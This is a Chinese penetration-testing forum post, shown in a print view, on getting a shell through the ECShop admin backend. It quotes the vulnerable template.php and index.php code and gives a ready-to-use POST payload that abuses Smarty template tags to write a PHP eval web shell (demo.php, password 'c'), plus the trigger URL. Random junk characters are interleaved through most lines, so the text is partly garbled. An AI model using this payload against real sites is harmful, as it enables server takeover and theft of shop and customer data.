中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
0 W4 n4 p  v  ~/ q8 `3 e3 g# D
& g- p3 D& I$ p$ R& N' I! ]而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了' [5 k; C8 Y& o. b. C! m
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码8 M- J9 C% l2 I0 H5 s' G
admin/template.php
" U: o) ]5 g. y- y3 N
& j8 {5 P+ B0 S, ^) U' r1 }) N2 [1 e1 if ($_REQUEST['act'] == 'update_library') , c: H* q% G  p" Q, S; T

' [# C* b" j# s2   3 @0 c& ~, `/ D, R
3 F% z. ?8 r& u' f& j
3 {
# A$ J) Y. P5 z; h
: H, N) t3 `/ t: Y- C) D/ a4     check_authz_json('library_manage');
9 h8 f! H/ S. Q7 t" n% B; s3 S0 ?' y$ P# j) e8 p
5   
0 m% B: h) u: T3 ~4 @! w2 u) R, u% P" e. j- [
6     $html = stripslashes(json_str_iconv($_POST['html']));
! p* K& M+ B4 U9 p4 v) `
! n. b5 [- \+ Z9 m7   
% S8 f# I) |, @3 U/ W+ c  h& U& N2 j4 b) ^# ^4 H# h9 }/ q
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 $ x, a3 I/ \; X
3 _4 @8 L% e! h* F4 O
9   * T" R, s1 M0 v, e& D9 A' L

- V/ d0 s& n' P1 O4 z) T10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
: m; E5 e' B1 k# }/ [7 E
4 {! f6 S( X: {# z% i8 x11   
' M2 N# n- o9 Q4 M9 A9 ~* P! d& V
& @, e# @/ B! y; K& Y+ c) u12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
/ e$ K, e: d8 Y0 `" g9 @2 n4 @, x2 c4 v# ?! @1 n
13   * x, z5 [6 d. e0 ~" S3 b
2 L' I' T9 R7 S9 Z& e3 w/ M
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
$ o/ c% E) H) O8 ?5 A9 d1 o) ^9 M# {" Y3 f6 }! r+ w" z
15     {
5 f4 T7 T* f! N5 e% F0 n% j/ i% L  B! s
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); & I/ |5 d0 m9 H; u

' ~$ w5 D; \. L+ ~7 N0 ~$ Q17         make_json_result('', $_LANG['update_lib_success']);
. b) ~, D: D) Y* J0 k" ^  V: I# V, S" R
18     } ' n  c2 Q/ E+ Y& C' h7 S

& J2 `7 E4 L; ^' X# Q, B- z: A19     else 4 X( N, N8 x- O1 H' W& D; K

5 w7 H0 U2 ^6 E& U: c  g20     {
; C/ V* y9 Y. J5 D2 }
% d: f  z2 @. r: G6 \( X/ F; B21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
% v" j. _$ F" I- C; o3 R7 d) Y0 L1 {6 Q4 k$ y6 X/ H8 O: \( G
22     }
* z+ e$ v0 r$ U0 B
8 v( e; j2 O. D& f8 p2 |. g  O23 } ( p5 I) L! b$ Q6 F, k

  r; V! j6 a6 Q/ p8 Y6 v- \那么找个比较方便调用了模板的文件
7 N4 ]# \) {; b- v( R( z+ ^: p! Gindex.php
& \* E" b2 Y+ q2 ^5 M
8 N' `5 X' V6 y, \: O  Z, d1 if ($act == 'cat_rec')
! g" `4 I9 J: \
; ]% y2 p5 I! e* l2   & G1 l' ^& F# \, B' G

3 |% n% g1 p$ j& R: x3 { ( Z2 H3 a5 u% k, a, A! f( t

# j' t& T% @3 A) n/ y4   / l* G' ~7 Y1 l& w" D! u
: w4 J$ b0 v# A; u8 E1 Y* P
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
! W$ M% U# V$ X; c5 g" o
% c, v/ _9 O- }0 h6   + l! [: @! V; ~6 ~7 i3 i  \6 D- b# v
  |, c  V8 l4 ~  X8 L% p4 z, z" ~
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; , Q0 l- z/ ?$ b" s9 q2 K/ I$ |

( }; Y* ], W" o, a5 D  s+ U8   " @: I7 m. `  D2 F5 y
2 b' N; {. g: _3 |+ g
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 8 n+ v& I2 e) v( ~, W" T

5 _" y1 W5 ]6 J5 \10   4 I  z' m6 a1 A" W2 K3 `
# M; C( G% f2 ~* x: ?; W" r
11     include_once('includes/cls_json.php'); % o& X1 j( u5 m/ m9 \
1 ?; q5 I6 i  m0 E5 K+ {
12     U- [; H3 e; }. D  D$ l

. Q: J  ^2 ^* v) B* U13     $json = new JSON; 4 ?5 J  w# n+ u( r/ c  c

4 Z  Q! b6 r8 _, O: u14   
) P9 ^+ }' l1 O* J1 U4 }) k& [
2 w# l& S, H+ a0 i15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 0 a% s( h; d9 P+ i! C! [

2 C) Q; Z! d! }" i2 Q* G16   
" k/ f* C% j5 {/ [! b
1 |2 P- B) C% e) b17     $children = get_children($cat_id);
) u  @" @' |% O  Y  K, X# }9 W, H8 E) u; {- u$ y) j
18   - w- `; k  O  R0 E
+ o; {6 O6 t' I# o2 @+ g
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 & y- ?" o7 P( l3 x0 g8 C

" J$ G1 P& `" `; n20   
9 R& @3 d8 }6 c8 Q* ^% M
" U+ X! C' `0 }' h% B6 ?& S$ y21     $smarty->assign('cat_rec_sign', 1); * j1 E6 P7 Q. G) ?2 H% |

$ ]3 T5 A& c+ G8 z, K# r1 N& C22   " [) v; c3 U9 Q0 j
2 c8 q* y2 R! s9 J1 m! f
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 6 O. H  t' i) T
( S# I: Z; [, f; Z! H2 @; a% A3 Z
24   
& ]9 ^" I9 z6 ?9 w. E
. E/ Q7 u+ T9 c25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
* h: `! C7 s8 D: D: }* Y. W; M1 v" }
* A( p& @$ D; [26   + Q8 v# F  u. M1 y8 k, q' P- p
$ {* Y- Q  X; h: c4 p& d. m
27         echo $rec_array[$rec_type]; / w4 Q* d& O% n3 c. G

6 P: k7 F3 a4 x" N: c1 C2 l28   
. Q0 F: I8 k4 \: @
/ H2 Q0 a; J; n& X' c29     die($json->encode($result)); 1 u' z$ F1 v+ e- c/ i) Q; p
& A! j; I# b4 E* W8 E
30   4 p7 G  S+ w  p

7 V2 f$ p6 E& ]# N, I31 } $ d; _9 I8 W" Y; T9 V! N
1 e, @+ ]* l0 |
那么就有利用方法了
/ ~1 I- @& I5 |2 B, Zpost包到http://localhost/ec/admin/template.php?act=update_library; h) c2 J9 N. g9 b/ ?
Post内容:' T6 a" q  [! L! ]% ?+ J6 U
: u; `- }: @' F8 ?$ ^% z* o6 M

+ w' x0 G& y& ~: f% J$ |1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
4 F) U7 b% N8 _6 ?- `; S% t" U. Q+ N, ]$ K+ m
然后访问http://localhost/ec/index.php?act=cat_rec4 Z. F6 d/ Y. I4 g5 X- Q
) J7 a& U/ q3 A: @( j# }1 l
shel地址:http://localhost/ec/demo.php
& g9 _1 Q7 C/ b' Q% `9 Z0 A: F密码c
' P0 P' N. N6 o& U
9 T2 g4 Q  h$ `! {3 n/ H




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2